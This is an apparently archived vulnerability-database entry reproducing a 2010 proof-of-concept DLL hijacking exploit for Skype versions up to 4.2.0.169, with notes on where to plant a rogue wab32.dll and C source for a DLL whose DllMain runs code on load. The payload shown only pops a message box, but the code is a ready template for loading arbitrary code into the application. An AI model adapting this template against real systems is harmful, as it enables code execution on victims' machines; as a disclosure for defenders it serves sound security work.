Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:24634
HistoryAug 30, 2010 - 12:00 a.m.

Skype <= 4.2.0.169 DLL Hijacking Exploit (wab32.dll)

2010-08-3000:00:00
vulners.com
9

/*
Exploit Title: Skype <= 4.2.0.169 DLL Hijacking Exploit (wab32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: Latest Skype v4.2.0.169
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .skype
Greetz: Astalavista, OffSEC, Exploit-DB
Notes: Create folders %commonprogramfiles%\system and place wab32.dll
%commonprogramfiles(x86)% on x64 bit
*/

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "Skype DLL Hijacking!", "DLL Message", MB_OK);
return 0;
}